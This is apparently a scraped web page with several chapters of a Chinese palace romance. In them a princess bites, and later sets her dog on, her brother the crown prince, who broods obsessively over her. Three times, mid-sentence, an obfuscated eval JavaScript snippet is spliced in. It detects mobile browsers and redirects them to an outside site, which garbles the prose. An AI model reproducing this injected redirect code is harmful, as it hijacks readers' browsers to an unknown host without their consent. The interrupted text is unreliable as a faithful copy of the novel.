窄窄的一方座席上，薛柔蜷缩着双腿而卧，薄薄的眼皮子合拢，显出纤长绵密的睫毛；那之下，是小巧精致的鼻尖；再往下，一朵粉红的唇缀于瓷白面皮上，起初觉得腻，看久了，愈演愈烈，刺痛双目，难以直视。 趋利避害是人性本能，可薛怀义似乎反着来的，迎难而上，凑近些去看那张绝色面孔。 她在笑，无比眼熟的笑——讥笑，冷笑，蔑笑。 她在做梦。 她梦到了什么，是那个令她深恶痛绝的野种么？ 心底悄然升起一股好奇。 他已经许久许久没有对人对事有过好奇心了。 不知不觉间，两人之距一近再近。 薛怀义对自己说，不为别的，单想把这张每个毛孔、每道肌理都透着歹毒阴险的脸，更深刻、有力地印入记忆之中；每次挑眉、每次弯唇……一个不漏地铭记，即便那是对崔介的，出发点是善意的，饱含热忱与爱意的。 当他纵由贪念滋长蔓延之际，窝在下方的人突然爬起来，他没防备，沉沉被扑倒，脊背严严实实贴合地面，而那人，欺上他身，张牙舞爪，直冲他面门攻来。 薛怀义没来得及躲，只感觉下唇一热，紧接着视野蒙蒙灰黑下来，嘴巴热辣辣，鼻端痒酥酥。 他如梦初醒，箍着那尺软腰将人拖开，单手制住其挥动的手腕，另手触及火热滚烫的嘴唇，随即摸到了血。 薛柔的唇同样沾了鲜血。 此情此景，一个事实昭然若揭：热的是她在啃咬他；痒的是她的发丝垂坠而下，就势铺到了他的脸上。 她亲，不，咬了他。 十公主咬了太子。 薛柔咬了薛怀义。 如黄粱一梦，何其荒唐。 他猛地抬手，擦拭唇畔溢出的血，毫无章法，力大无比，越擦越多。 下嘴如此之狠，她当是恨透了他。 谁不是呢？ 不，他的恨比她的浓，浓千倍万倍。 如果可以，他会让她也尝尝暗无天日、生不如死的滋味。 薛柔烂醉如泥，尽情沉陷梦乡，好似刚刚的种种，通通是一场大梦，荒谬、可笑的梦，唯独薛怀义这个清醒的人，为它心乱如麻。 他们是兄妹，双双带着血迹出去，还是在嘴唇边上，势必激起轩然大波。 薛怀义行事谨慎，强忍怒火——明明是宿敌，她却行此不齿之举，完事以后就只有他为之失魂落魄，这不公——用自己另一边干净的袖子，俯身，一丝不苟地将她的面容恢复原有的洁净，确保没有留下任何蛛丝马迹。 “太子殿下，公主她还好吗？”三喜翘首以盼多时，迟迟不见人露面，试着催促。 闻声，薛怀义停止遐思，伸手捞起薛柔，使其依偎于自己的臂弯，面目表情地离开船舱。 终于等着人，三喜紧绷的神经舒展开来，递胳膊帮衬着把薛柔托上薛怀义的背，一路紧随，时而关切需不需要站住略加休息，均被告知不必。 一道过来，夜色缓缓低垂，及至明月爬上高空，迷蒙的视线茅塞顿开，三喜清晰所见，薛怀义的嘴角破了个口子，已结痂。 兀自琢磨不来，但熟谙不可差了礼数，三喜便出言关怀：“太子殿下，您的嘴唇似乎受伤了……” 薛怀义泰然地一“嗯”。 也许是不小心咬破了，像她自己就有蠢笨得咬着嘴唇的时候，不足为怪。 三喜说服自己。 因薛柔醉得不省人事，不便拉到交泰殿去，于是乎薛怀义做主，让薛柔回坤宁宫醒酒，他去交泰殿回明皇后情况。 一切为了薛柔着想，三喜自然服从安排。 “前面就是了，太子殿下辛苦，不妨放公主下来，奴婢自己扶公主回去。”送到宫门外，三喜觉得够了，无需有下一步了。 薛怀义不语，依言撂下背上的重量，笑对为薛柔整理额前碎发的三喜说：“设若十妹妹问起来，你尽管如实作答，不用刻意隐瞒。” 她若得知，自己曾靠在他的怀里、趴在他的肩头，身贴身，呼吸缠着呼吸，是否也会六神无主，进而彻夜难眠呢？ 以恶劣的手段对付卑劣的人，薛怀义好受不少。 深夜，薛柔捂着脑袋艰难睁眼，环顾周围，略略发懵。 她不是在小舟上的吗，几时回了寝殿？ “三喜！” 三喜就守在外间，立刻现身，庆幸道：“殿下可算醒了，再没动静，必得请太医来不行。” 脑仁一阵一阵地疼，薛柔想起来，身子犹如千斤重，堪堪跌回床榻。 “你给我捋捋发生了什么。” 看窗外天色深沉，亥时也有了，那这无意识的几个时辰，究竟怎么一回事，必须搞明白。 三喜提了把小板凳，并腿坐在床前，细细道来：“您不胜酒力，在舟里昏睡过去。娘娘多会不见您，心下忧虑，让许嬷嬷与太子殿下四处寻您……” “等等！”迷迷瞪瞪的神智因一个“太子”而幡然醒悟，“薛怀义？母后让他找我？” 三喜没来由地心虚，目光躲闪：“是……后头也是太子殿下找着您，将您……送回来的。” 三喜故意隐下薛怀义又抱又背的过程，直奔结果，意图就此翻过去，少给薛柔添些堵。 “薛怀义送的我！？”似乎有一盆凉水从头顶栽下来，浇得薛柔精神饱满、耳清目明，“你既说我醉倒了，那他如何送的我？” 三喜猜到原原本本告诉的话，她一定会动气，气不过直闯东宫也是做得出来的，因而吞吞吐吐，半晌吐不全一句话。 “说呀，你哑巴了？”薛柔翻脸无情，嫌三喜憋闷，恼斥。 三喜没办法，藏头露尾地答了——瞒下逾越兄妹之情的抱，勉强留下那一路背回来的辛劳。 薛柔怒不可遏，两眼直冒火星子，指使三喜伺候穿衣，真有打上东宫的派头。 三喜苦苦哀求：“千万不行啊，殿下……大半夜的嚷起来，后果一发不可收拾啊！” 酩酊大醉过后，又发雷霆之怒，直掏空了薛柔的身子，她顿时感觉天旋地转，身体左摇右晃，寸步难进，勉强扶墙才稳住重心。 三喜趁机搀她坐回床边，一片丹心为她考虑：“殿下现在体虚，吹不得风，而且您大张旗鼓地出去，首先娘娘那头就过不了关。今儿陛下和娘娘因为您偷偷溜走，还醉酒误事，脸色已经不大好了，都是念及您昏睡着，这才没追究。以奴婢的蠢主意，这次……就算了吧！太子殿下不也是出于好意嘛……” “他对谁都可以心怀善意，唯独对我，绝无可能！” 薛怀义巴不得她赶紧死了，焉会由衷善待她？ 他背她一路，无非是知道她恶心他整个人，借这次身体接触来怄她罢了！ “你速速准备热水，我要沐浴！” 既处处妨碍而难以出入，那就先把身子洗刷干净，改明儿时机合适，这口恶气必然加倍偿还！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799954|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>原以为不缺报复回来的空子，孰料后头的每日都排得满满当当： 先要和崔家商定两家结亲的良辰吉日，拿准了以后，记下双方的生辰八字，一并叫钦天监算俩人合不合、日子好不好，统统没问题后，终于敲定今年九月初二这日先把亲事定了，待明年春天再举办婚宴；后边紧跟着制婚服、学礼仪等一系列麻烦事。 直叫薛柔忙得晕头转向，将她辖制得死死的。 大费周章下来，找薛怀义不快活的这点子，自丢下来那日便再没捡起来过。 最初是皇后自己请了教引嬷嬷教导薛柔，叵奈皇后心疼女儿，太严厉了不忍心，她又是个小孩心性——顽劣，根本潜不下心来学，今儿找机会溜溜贝贝，明儿借口头疼脑热偷几天懒，可算无病无灾的了，结果往厅里一坐，手心托腮瞄着窗外开小差，嬷嬷授的课能放入耳三成就算烧高香了。 几经波折，嬷嬷教得力不从心，薛柔倒是自得其乐，最后便造就了两三个月过去，她对各种规矩的了解一如往常，分毫没长进的现状。 休说往大场面摆设，以疼惜女儿闻名遐迩的皇后亦看不下眼，屡屡扶额苦笑。 五六七月过完，纳吉日为期不远，按住薛柔恶补课业的大任迫在眉睫，为此，皇后愁肠百结，每每在景帝枕旁长吁短叹。 景帝狠一狠心，提了个主意：论起礼仪，宫里没第二个人比太后更熟稔周全的，不若和太后通融通融，把薛柔送去进修。有太后威严镇压，相信不日便会模样大变，扭转乾坤。 太后出面截胡崔介的心结，皇后尚未抚平，不太情愿，姑且按下不表。 过了几日，眼见事态每况愈下，忍无可忍，心一横，同意景帝的提议。 景帝相托，纵太后不甚满意薛柔，亦违逆本心答应了。 如此只剩薛柔的思想工作。 左思右想，这个难题，皇后嘱托与薛通，他们兄妹无话不谈、亲密无间，这些逆耳之言由薛通讲出口，她比较容易接受。 薛通调动睿智，以崔介为突破口，规劝薛柔：“你可想通透了，崔大人端方有礼，你若一意孤行，不思进取，即便纳吉、婚礼潦草过去，以后你们过起日子来，崔大人满口学问，你一窍不通，还离经叛道，时间久了，你们俩还能凑到一起去吗？” 薛柔甩手不干了，出言顶撞：“我是招驸马，又不是到他家洗手作羹汤去了。他若有意见，大不了一拍两散，对谁都好。” 薛通被这歪门邪道的说辞逗笑，但身负重任，吊儿郎当不可取，遂正经八百地道：“反正好的坏的我都给你提过醒了，你听不听由你，只别那会真和崔大人掰了，朝我们大家痛哭流涕、满嘴悔恨就好。” 想起那清风明月般的身影，薛柔优柔寡断，归根到底舍不下，咬咬牙认了：“少拿重话吓唬我，我学就完了。” 之后的日子，于薛柔如同噩梦，苦不堪言。好在精神集中了，学起东西来突飞猛进，应对起太后检查功课的差事来，日渐如鱼得水。 看她安分已有不少时日，太后仁慈一回，准她出去逛两个时辰。 她压抑欣悦，恭恭敬敬称退。 一跨过慈宁宫的大门，本相毕露，寻了处花荫坐着，交代三喜：“你跑快点，把贝贝牵出来。那日之辱，我要趁今日讨还！” 三喜暗暗忧愁，一步三回头而去。 薛柔手搭凉棚纵目远望，可巧，于对过的树荫下逮着仇家，遥遥喊一嗓子：“薛怀义，你过这来。” 15. 寻仇 薛柔喊的是薛怀义，可程胜委实心惊，汗登时蒸了一脑门，大太阳当空照着，十分锃光瓦亮。 远远的，薛柔抱胳膊站着，脖子抻得长长的一根，头颅高高地顶起来，似乎不满足于现有的身高，一心想同中天骄阳比肩。 “殿下，奴才瞧，十公主好像来者不善呐……” 这样的对峙，程胜可太熟悉了，只是近两三个月来薛柔被拘在慈宁宫里学规矩，不见人面，自然找不了东宫的茬儿。 现今活生生放出来，那双手八成发痒难耐了…… 薛怀义却有着天差地别的心境。 这几个月，他一直静候薛柔找他算当日在小舟上的账，左等右等没动静，略一打听，合着是被提溜到太后手底下关禁闭去了，为下半年与崔介的亲事而刻苦用功，废寝忘食。 他忽然意识到，她真的快要彻底消失在他的生活中了。 他又开始重蹈覆辙，连连目不交睫。 看不见她比看见她，带给他的痛苦更胜一筹。 是什么在控制他的思想，他挖掘不出，姑且统一认作为“恨”好了。 直到今日再度狭路相逢，那种难以名状的空虚感竟得以填补，颓败化为乌有，之后就有了他笑吟吟靠近薛柔的画面。 “好久不见啊，十妹妹。” 他在笑，笑得那么无所谓，准是在为那日的趁虚而入耀武扬威！ “听你的口风，还挺想念我不成？” 薛柔展现出来的面目，在第三双眼睛－－程胜看来，与以往每一次欺凌中的讥讽嘲弄大同小异。 惟有她自己清楚，讥嘲已远不足以契合此刻之心绪，如果没有外界的各种掣肘，她绝对会指使贝贝将薛怀义扑倒，一口一口地撕咬开来，就着他如泔水般恶臭的血，把他从头到脚生吞活剥了去。 薛怀义坦诚道：“皇祖母严格非常，妹妹自在惯了，乍然拘管起来，一定吃不消。每每思想到这，我便替妹妹揪心不已。” “够了！”薛柔两只眼睛将近把他盯穿，“扮演这套，你不累我还嫌恶心。我问你，那天在桐花台，你擅自来寻我，还趁我不觉，行那等恶俗之事……你是活腻歪了么？” 她分出一些注意力，查看三喜回没回来，但见去时的路萧条寂寥。 她暗骂三喜吃干饭，关键时候真靠不上！ 程胜大惊，两颗眼珠子瞪得老大，仿佛在眼眶里待不住，紧盼望着逃之大吉。 那日宫宴上，太子先行离席，敢情是奔十公主去了？ 这倒尚可理解，可十公主声称的“恶俗之事”，又该如何寻思？ 程胜恍惚追忆起书房案头叫风掀落的那幅丹青，画有十公主的丹青。 莫非…… 不可能，绝对不可能！ 程胜忙忙唾骂自己思想龌龊，多大的胆子，又长着几个脑袋，居然敢造太子殿下和十公主的谣言？ 罪过罪过…… 薛怀义容颜不改：“何谓恶俗？妹妹又何出此言？” 薛柔嗤之以鼻：“这会扮起无知来了？谁允许你背我走的？” 彼时的境况，在薛怀义的梦境中不计其数地闪现过，泛滥成灾。 只是背吗？ “妹妹就是为此而恼怒么？”如果有面镜子，他注定因自己眸间稍纵即逝的失望，而错愕片时。 薛柔恼羞成怒，暴跳如雷，假如不是忌讳跟他肢体接触，恨不得立即冲上来撕烂他：“不然，你还妄想得寸进尺么？” 果真仅此而已啊。 混着血液啃咬的片段，果然偏偏钟爱钻入他的睡梦，化作笼罩他的梦魇，无休止地折磨他而已。 始作俑者，罪魁祸首，就这么忘怀了，始终不痛不痒。 “妹妹既怪我，那便任凭妹妹发落吧。”薛怀义静静望着她，死气沉沉。 “别搞得大义凛然的，像是我无缘无故欺负你一样。你罪有应得。”薛柔一面放狠话，一面掐算时辰，正过来颠过去地估计，三喜应该不远了。 如她预计，三喜全力拽着狗链子引贝贝出现。 以防薛柔分心，太后命她搬慈宁宫住下，她唯唯诺诺，是以小三个月未与贝贝谋面了，可谓日夜惦记，思念成疾。 时隔多日重聚，喜不自胜，忙弯身子招呼贝贝：“贝贝快来！” 贝贝通人性，四蹄飞奔，一头扎入香怀，尾巴左一圈右一圈地摆动，嘴巴张开伸出舌头，舔舐主人的手背。 换以前，薛柔一百个嫌弃这乱流的涎水，定然当头拍贝贝一掌。 今时心心念念重逢，一万个舍不得打它，忍将下来，不停手地抚摸它头，又向三喜讨来肉干，奖励它。 毕竟，待会有硬仗要打，吃饱喝足才打得更漂亮。 待相思解得差不多，打眼从头看到脚，衣襟至袖口，滚了一身的毛，薛柔顾不上收拾，手指冷眼旁观的薛怀义发号施令：“贝贝，去咬他，下嘴狠一点，让他多流点血，但别弄出人命来。” 烈犬终归是烈犬，好斗，宫中豢养，多有不便宜，难以肆意释放烈性，眼下一得主人的允准，那双棕铜色的眼珠子大放亢奋之光，解开锁链的刹那，纵身一跃，对着薛怀义的裤脚拼死撕扯。 程胜吓得魂飞魄散，鬼哭狼嚎，但他越哭嚎，贝贝的斗性越高涨，两只爪子爬上薛怀义的膝盖，直立起来攻击他。 “太子殿下，您倒是躲一躲啊！” 程胜直纵横躲闪，薛怀义纹丝不动，衬得前者似个疯子。 底下攻势过猛，薛怀义有些力不能支，堪堪倒退半步，程胜心系东宫，抛下所有顾虑，挥起拂尘照着那血盆大口鞭打不休。 薛怀义从中阻挡，干脆把胳膊送至贝贝嘴边，由尖锐犬齿刺破衣裳，刺穿血肉。 须臾，一块浸血衣料割离薛怀义，成为贝贝的战利品，即时叼给薛柔讨赏。 薛柔睨一眼薛怀义的狼狈相，观其小臂血淋淋的一截，存积许久的怨气消解大半，有工夫问三喜时辰。 三喜答说近午时了，太后允许的空闲为时不多了。 她颔首，回头命令贝贝将那脏东西吐了，接着说：“薛怀义，这次且先饶过你，你自己掂量着，切勿不识抬举。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799955|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那伤口犹如泉眼似的，汩汩淌落血水，染红了脚下的地砖。 程胜惊恐万状，手忙脚乱欲止血，怎敌血沫子遍布整条胳膊，根本无从下手，惟好一把鼻涕一把泪哀求入定般的薛怀义，速回东宫包扎处理，就剩跪下磕头了。 他傻子似的不动弹，随便血流成河，薛柔可不稀得理睬他，左右血流干了，那也算他活该，叫上三喜贝贝，潇洒走人。 “别嚎叫了，我没聋。”薛怀义很是凉薄道。 相较于肉｜体的疼痛，耳畔环绕不绝的哭天喊地更令人心烦。 又是一个深夜，东宫书房的窗格一如既往散出点点暖光。 笔触划过纸面，沙沙作响——薛怀义又在作画，仍是那张隐约泛黄的纸张，仍是那幅细腻的丹青。 丹青尚未着色，仅以素笔勾勒完全人脸，纵然黑白无色，那人物颇为传神，这也便是程胜只飞快一眼就认准其上何许人的因由。 持续一年半之久的素笔人像，终于这夜打磨完毕。 薛怀义掷笔，对着它深深端详，一直深进骨子里。 灯芯一跳，烛光暗了一层。 薛怀义理清头绪，安放画纸，铺得平平的，不见一丝皱褶——该上色了。 案头未准备彩墨，他也不觉妨碍，本来也没打算用墨水点染它的色彩。 它已经够冷漠的了，不能继续使用沁着凉意的墨增色。 他的目光朝向裹得蚕蛹似的胳膊。 以血色勾勒，将温热带给那片本应殷红的唇，岂不完美还原了它曾附着在自己唇际的温度。 他记得真切，那个血腥味的触碰是温的，比那两瓣唇的主人的心暖和。 念既起，薛怀义迫不及待去亲手赋予它属于自己的温度。 于是，他一层层一圈圈揭开纱布，使底下可怖的真容得见天光，使才粘上的裂口生生撕开，朱红的、新鲜的血液，恢复它原有的生机，一泻而下。 一套七支的上等画笔，被他弃之不用，干干净净躺在笔山上。 它们的用途，为薛怀义的一招奇思妙想，加诸他的指尖——他蘸着血，指腹点于那缺失色彩的圆唇上，向左向右，仿佛真的在摩挲一个人的嘴巴。 当血迹将将污染锦袍之际，指际的血干涸成血斑，薛怀义拿开手，垂睫观瞻那朱红一片，眉眼蕴笑。 是的，正是这样，那天她的唇便是此态。 一个诡谲的念头荡漾开来：不知今日的血和那日的，尝起来相不相同。 狂风大作，吼得院里梧桐树前倾后倒，梧桐枝叶细密，逆月映入窗台，在整洁的书案上投下一戳戳尖尖的影子，摇摇曳曳。 细碎的阴影下，薛怀义擎起画纸，拿近脸前，口鼻盈着笔墨香并血腥气。 随即，不惜“以身涉险”，轻轻衔住那点赤色。 苦涩之中撷丝丝咸味，仿若塞了把铁锈到嘴里咀嚼，与那天的不一样，没有甜，没有温度，只有倒胃口的腥膻。 他的血是热的，而拼凑到那张脸上的，从头到尾都是凉的。 失败了。 16. 中秋 一晃中秋来临，薛柔捡着便宜，太后给她放了两天假，许可她回坤宁宫与帝后团圆，共度佳节。 往年中秋宴，翻来覆去就那么些花样，一来二去地腻了，皇后建议，景帝首肯，倒不如省却把人们叫过来围在一间屋子里束缚着的流程，直接下个恩典： 有儿女的和儿女过，形单影只的则互相凑个数。没一大堆规矩须要墨守，各自便宜，心里也自在。 似初一、十五这类的重要日子，景帝无一例外都要到坤宁宫过夜。 趁此东风，薛柔对着景帝好一顿诉苦，景帝不大会安慰人，只问她中意什么，甭管稀有难得，一准满足她。 薛柔窃喜，将早早盘算好的条件提出口：“据说民间有位青山先生，作画一流，每两年才作一幅画，价值连城。儿臣就想瞻仰瞻仰这青山先生的作品，奈何没有渠道，便拜托父皇啦。” 初出茅庐的小狐狸哪哄骗得过久经世事的老狐狸。 “你不爱念书不爱写字，怎的突然开窍，想起来欣赏名家画作了？”景帝呷一口凉茶，揶揄道。 薛柔自知露出马脚，仍脸不红心不跳道：“父皇好没道理，儿臣只是不喜欢诗书，又不是认不得看不懂……那画儿噱头那么大，供不应求的，指定有过人之处，儿臣是个俗人，拿来解解好奇心不成吗？” 听女儿的话越说越密，景帝收起玩笑之意，正经道：“也是赶巧了，前儿朕刚淘来一幅《春山行》，你既张口，那朕只好忍痛割爱了。” 正说时，许嬷嬷擎一盘月饼端上桌，笑言：“陛下和殿下说了这些话，竟一口月饼也没尝尝。不若先吃一块吧，不然皇后娘娘白忙活了一下午。” 一盘子六块月饼，统共三个味：五仁馅的、玫瑰馅的、豆沙馅的。 前两种是景帝和薛柔的口味，最后一种，薛柔依稀记起一件事：前年薛怀义上坤宁宫过中秋时，嘴巴里嚼的恰是豆沙馅的月饼。 母后这是什么意思，今年还打算叫薛怀义来一起过节么？ “嬷嬷，这豆沙馅的月饼，是给谁备下的呀？”景帝在对面掰了一小块月饼入口品味，薛柔不好声张，俏生生地试探。 许嬷嬷光知公主太子平时走动不多，权当他们两个闹小孩子脾气，全然料想不到事态会严重至水火不容的地步。 至于薛柔频频欺辱薛怀义的情形，宫里大概只有二薛及各自的奴仆——三喜、程胜了解。 这得益于薛怀义本人对此守口如瓶，每每伤痕累累，别人问起来，均已各式各样的原因掩盖弥彰。 因他找的理由适合且不离谱，一直以来竟无一人起疑。 “娘娘关照太子殿下吃不惯其他口味的，便特意做了些豆沙馅的，等一会吃完螃蟹宴，多余的叫人打包回东宫。太子殿下爱吃这个，随吃随有。”许嬷嬷慷慨解答。 薛怀义的存在，直接影响到了薛柔的口腹之欲，眼皮子底下那碟色相极佳的月饼，顿时丧失了诱惑力。 “那太子几时过来？” 父皇近在咫尺，面子功夫且得做到位，她可不想被耳提面命地纠正个没完没了。 许嬷嬷仰望夜幕中高高嵌着的银盘，说：“半个时辰前捎的信儿，估摸着就快到了。” 薛柔膈应薛怀义，扭头和景帝有商有量：“父皇，螃蟹生冷，不好消化，再者儿臣中午吃多了食，肚子里胀胀的，再吃恐拉肚子，那螃蟹宴儿臣就不一起了。横竖儿臣空闲，不妨叫福公公寻出那幅画儿来，儿臣赏玩着打发时间。” 好好的一次团圆饭，偏偏缺一个人，景帝最开始不同意，后头顶不住她撒娇卖乖、死缠烂打，松口放她去了。 “三喜，你随福公公去取，我口有些干，回屋子喝杯水。”薛柔井井有条地安排。 口渴是托词，真相是，现在置身的抄手游廊乃进出坤宁宫的必经之路，她实在不想碰上薛怀义，而扫自己的兴，宁肯痛快点避开，是为眼不见心不烦。 三喜脑子不算机灵，手脚却灵活，满打满算不到半个时辰，完成了一来一回的路程，横抱一个老长的朱漆盒子复命。 薛柔当心着打开，平展在桌上，惊叹连连：“不愧是抢手货，看着真真赏心悦目。” 三喜纳闷一个晚上了，四下无外人，便问：“殿下求它来有什么用处吗？这屋子里好像也没地方去挂它呀……” 薛柔偏爱一切华丽炫目的玩意，房间到处陈设着各类摆设、饰物，令人眼花缭乱，十足担得起华而不实的名头。 这画珍贵，薛柔万分善待它，卷起来的时候动作轻上加轻，生怕磕坏碰坏。 瞧她珍重至此，三喜益加古怪了。 “不是给我挂。”薛柔将画儿原路搁回去，使唤三喜拿方干净帕子过来，三喜不明就里，糊里糊涂照做，但见她擦拭起放画的木盒子来，上下左右，里里外外，格外细致，“小崔大人识货，赠给他的。” 三喜一时豁然，笑嘻嘻道：“怨不得您把它宝贝，不对，您是把崔大人当宝贝看呀！” 薛柔啐一口，笑骂：“再胡说，自己去廊下扇二十嘴巴子赎罪。” 三喜告饶不迭，薛柔开玩笑的，不动真格。 待将盒子擦得光滑明亮，悉心吩咐：“明儿一早，你到金銮殿外侯着小崔大人，亲手把它送出去，勿忘了告诉他，这是我费了好大的力气才得手的，很贵重，千金难买。” 三喜咧嘴回应：“任它再金贵，也金贵不过您的心意。” 从娘胎里落下来，没哪个人，还是个男人，有本事令她上心到这步田地。 毫无疑问，她动心了。 骤然揭破这层，她有些难为情：“死丫头，一套套的村话打哪学来的，仔细哪日叫皇祖母逮着，你要挨板子的！” 三喜笑得直不起腰。 薛柔受感染，也笑弯了眼。 此间欢声笑语不停歇，彼处，螃蟹宴上，沉默严肃。 皇帝与东宫之间的关系，历来逃不开“矛盾”二字。 前者以皇权独尊，后者专等着有朝一日天子殡天，承继大统；整天站着个人巴不得自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799956|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早日驾鹤西去，一举接自己的班，换做是谁都难以保持平常心。 总僵着不像话，景帝克服那股子别扭，音调平直：“胳膊怎么伤的。” 平得不似疑问句。 薛怀义起身回话：“儿臣练习射箭，不注意箭脱了弓，射偏了，刚好擦着胳膊飞出去的。皮外伤，无伤大雅。” 景帝摆手令他坐下，不痛不痒说了句“下次专心些。”没有父亲对儿子的关怀，有的只是君臣间的礼尚往来。 如是适可而止的对话，皇后视为家常便饭，许嬷嬷见怪不怪，薛怀义习以为常，仿佛天底下的父子本该就是这样的。 “吃螃蟹吧，放久了快凉了。” 薛柔不在，皇后怏怏不乐，无心多言。 隔天，三喜提前蹲守于宫门外。 接近卯时，文武大臣陆续出现，自觉排队入朝。眼瞅队伍越拖越长，却总不见目标，三喜又急又疑，转头询问一道来的四庆：“什么时辰了？” 四庆答卯初一刻了。 三喜揉揉发红的鼻尖，小声嘟哝：“崔大人这么不守时吗？按他的品格，不应该啊……” 自个嘀咕着，四庆扯住衣袖说：“来了来了，崔大人来了！” 三喜凝睛确认是崔介本人，拔腿小跑去，还不敢跑太快，得时时顾着怀里的宝贝。 “崔大人万福。” 崔介记得三喜，粉白的面颊霎时划过错愕：“姑娘寻我？” 前头的队伍余一大截，有细细道来的时间，故而三喜详尽说明意图，最后把宝贝献出：“此乃公主独一无二的心意，万望崔大人妥善保管。” 今日崔介是最后一个赶到的，跟在长龙的末端，无人打搅。 即便有人，一提薛柔，姑且避之唯恐不及，更不会掺一脚凑热闹。 崔介说：“请姑娘稍后拿与我的小厮云澜就好。还得劳姑娘替我向公主传个话：‘微臣必将视若瑰宝，珍之爱之。’” 三喜喜庆相识一眼，皆读懂了对方眸子里的仰慕、敬佩。 不愧为状元郎，出口不俗，一字一词俱彰显着文人风骨啊！ 妥帖交付完毕，三喜四庆手挽手回去交差。 “他的原话是什么，复述一遍。”薛柔簪子别到一半，闻之，暂撇开不管，转头盯着二人的脸面，兴致勃勃道。 三喜好赖跟随薛柔受过学堂的熏陶，认得些许字，懂得些许道理，四庆则不然，只辨别得出自己的名字，转述崔介有水准的承诺之任务，自然而然由三喜肩负：“崔大人说：‘微臣必将视若瑰宝，珍之爱之。’” 分明是三喜在讲话，薛柔却不费吹灰之力地想象得出崔介说这些话时的表情、语气： 睫毛轻轻覆下，遮去半边眼睛，难辨真色；嗓音沉淀着历经大风大浪的平和持重，可信，可靠。 崔介，崔明夷……属于他的所有，化为一波又一波的浪潮，汹涌拍打着她的心防。 她想，以“心动”一词来呈现此时的心境远远不够，大约“沦陷”才够。 17. 野心 不知不觉到了九月初二，崔家派人送来婚书，上书有崔介的姓名、门第、生辰八字等关键信息，皇后先行展开过目，确认无误，转手于早已眼巴巴的薛柔。 帖子上的字遒劲有力，笔锋犀利，尽管她不曾见过崔介本人的字迹，却有种直觉：这应当不是他所写就——他那样儒雅谦和，笔下的字合该是端正清秀的楷书。 她推断属实，这婚书出自崔介父亲崔寿之手。 并非崔介写不来，而是婚姻大事，只有生身父母才可做主，一脉相传，婚书亦不例外。 至于薛柔这边的婚书，自有景帝主持，早两日抽了个傍晚，伏案一挥而就。 皇后叫许嬷嬷把薛柔的婚书交给崔家人，崔家人毕恭毕敬收好，又奉上一个木匣子，意思是崔介所赠与薛柔的信物。 薛柔眼睛一亮，打开匣子，俨然一枚玫瑰金簪安然躺于内。 执手端量半晌，她欣喜道：“我正好缺一支玫瑰簪子呢，这就送来了，崔大人有心了。” 余夫人身边的邝嬷嬷喜道：“公主欢喜，我们家少爷一个来月的辛苦也值得了。” 薛柔灵敏，抓住关键点，反问：“崔大人一个月的辛苦？怎么一回事？” 邝嬷嬷打开话匣子：“怪奴婢没把话说清楚，该打该打。少爷他得知纳吉日需要赠予公主信物以后，特别上心，筹算亲手打磨一支发簪，先四下打听了一圈您素日喜好的样式，后边就开始上手制作。公主也知情，少爷他白日在翰林院当值，总是天黑透了才回家，一日下来，全凭夜里赶工，每天丑时过后才肯歇下，家里人都担心少爷吃不消呢。万幸这簪子做好了，做工很是精美，不输外面铺子里卖的，您又中意，果真不枉少爷熬这么久。” 薛柔第一次有耐心听完别人的长篇大论，感动不已，掌心的簪子陡然变得沉甸甸的，险些没能托住。 他竟然对自己如此重视，不惜耗时耗力，只为讨她欢心…… “那崔大人他身子还好吗？”喉咙像被什么堵住了，发出来的声音哑哑的、闷闷的。 邝嬷嬷说：“少爷他底子好，又年轻，一切都好，请公主宽心。” 薛柔忽然生发出一种想见崔介的冲动，无奈礼法在前，越是定了亲的男女，越得避嫌，不到万不得已不见面，直到大婚之日方可大大方方面对面。 “他平安就好。” 薛柔紧紧攥住簪子，因崔介数十个日夜的雕琢，生冷的金钗仿佛染了温度，手心连同心窝，暖洋洋的。 脑子里突然冒出一茬子，薛柔忙问：“他给了我信物，我是不是也得给他？” 信物信物，彼此交换的才叫信物。 却是皇后予以肯定的答复：“是这么个理。” 最近皇后忙得团团转，人也跟着糊涂了，明明白白忘记提醒薛柔需交换信物这回事了。 一想到崔介良苦用心，而自己两手空空，薛柔既着急又惭愧，搜肠刮肚地思索该还个什么物件，万幸让她想成了。 “三喜，你快去我屋子里，把去年我从三哥哥住处顺来的那柄湘妃竹扇子取来。” 她的东西左一样右一样的，堪称车载斗量的程度。 三喜短时发愣，极力回忆那扇子的模样。 薛柔急脾气犯了，没好气道：“博古架最上层靠右手边的格子里，印着水墨山水的那把！” 三喜豁然开朗，追着秋风而去，又被秋风推着返回。 将扇子递与邝嬷嬷，薛柔说：“就它合适，希望崔大人喜欢。” 